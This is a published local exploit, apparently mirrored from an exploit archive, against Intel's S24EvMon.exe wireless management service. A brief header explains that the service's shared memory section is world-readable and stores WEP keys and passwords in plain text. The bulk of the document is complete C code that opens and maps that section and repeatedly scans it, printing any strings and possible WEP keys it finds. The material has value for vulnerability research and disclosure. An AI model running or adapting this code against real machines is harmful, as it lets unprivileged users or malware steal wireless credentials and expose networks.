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Intel Wireless Service (s24evmon.exe) Shared Memory Exploit
=========================================================== Intel Wireless Service (s24evmon.exe) Shared Memory Exploit =========================================================== /////////////////////////////////////////////////////////////////////// //// S24EvMon.exe Intel Wireless Management Service KEY Hunter //// Rub?n Santamarta //// ruben@reversemode.com //// www.reversemode.com //// 28/04/2006 /////////////////////////////////////////////////////////////////////// /********************************************************************************************************** * Testing a vuln-finder application that I am developing, I found a flaw within S24EvMon.exe. * It is a service which is part (at least) of the Intel PROset/Wireless software. This application * is provided by Intel in order to support intel Wireless Devices based on Spectrum 24 chipsets. * * This service uses a shared memory section which is created without the proper security descriptor, * allowing unprivileged users to perform operations like Delete, Read or Write into the memory. The * section is named S24EventManagerSharedMemory * * This shared memory is used to store ,in plain text, confidential information like WEP Key, Passwords... * * The successful exploitation of this vulnerability could allow to any unprivileged user to access * confidential information,exposing the network. An important mitigating factor is that the * vulnerability is local, nevertheless some Malware could take advantage of this flaw. **********************************************************************************************************/ #include <windows.h> #include <stdio.h> #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } #define InitializeUnicodeStr(p,s) { \ (p)->Length= wcslen(s)*2; \ (p)->MaximumLength = wcslen(s)*2+2; \ (p)->Buffer = s; \ } typedef struct _SECTION_BASIC_INFORMATION { ULONG d000; ULONG SectionAttributes; LARGE_INTEGER SectionSize; } SECTION_BASIC_INFORMATION; typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; UNICODE_STRING *ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES; typedef DWORD (WINAPI* PQUERYSECTION)(HANDLE, DWORD, PVOID,DWORD,DWORD*); typedef DWORD (WINAPI* POPENSECTION)(HANDLE*, DWORD,OBJECT_ATTRIBUTES* ); VOID ShowError() { LPVOID lpMsgBuf; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL); MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0); exit(1); } int main(int argc, char* argv[]) { OBJECT_ATTRIBUTES SectionAttributes; SECTION_BASIC_INFORMATION buff; PQUERYSECTION NtQuerySection; POPENSECTION NtOpenSection; char * sMap,cString[256]; UNICODE_STRING uStr; LPVOID lpMapAddress; DWORD i,b=0,c=0; HANDLE hSection; NtOpenSection = (POPENSECTION) GetProcAddress( LoadLibrary( "ntdll.dll" ), "NtOpenSection" ); NtQuerySection = (PQUERYSECTION) GetProcAddress( LoadLibrary( "ntdll.dll"), "NtQuerySection" ); InitializeUnicodeStr(&uStr,L"\\BaseNamedObjects\\S24EventManagerSharedMemory"); InitializeObjectAttributes(&SectionAttributes, &uStr,NULL, NULL, NULL ); NtOpenSection( &hSection, SECTION_MAP_READ|SECTION_QUERY, &SectionAttributes ); if (hSection == NULL) ShowError(); printf("Section opened successfully.\n"); lpMapAddress = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0); if (lpMapAddress == NULL) ShowError(); if (NtQuerySection(hSection,0,&buff,sizeof(buff),0)) ShowError(); sMap= ( char* )lpMapAddress; printf("Scanning section...\n\n"); while(c<100) { c++; printf("\nSNAPSHOT ID[%d]----------------[BEGIN]\n\n",c); for (i=0; i< buff.SectionSize.QuadPart; i++) { if( sMap[i]> 0x29 ) { while( sMap[i] != 0x0 ) { if( sMap[i]>=0x30 ) { cString[b] = sMap[i]; b++; } i++; } cString[b++]='\0'; // less 3 characters should be GARBAGE if( b>3 && b!=14 && b!=27 ) printf(" String collected: %s\n",cString); // Alphanumeric WEP KEY (13 characters) if( b==14 ) printf("### Possible Alphanumeric WEP KEY found: %s\n",cString); if( b==27 ) { if(cString[0]!=0x30 && cString[2]!=0x30 && cString[6]!=0x30) printf("### Possible WEP KEY found(Ascii/HexMode): %s\n",cString); else printf(" String collected: %s\n",cString); } b=0; } } printf("\nSNAPSHOT ID[%d]----------------[END]\n",c); Sleep(1000); } CloseHandle(hSection); return 0; } # 0day.today [2024-12-24] #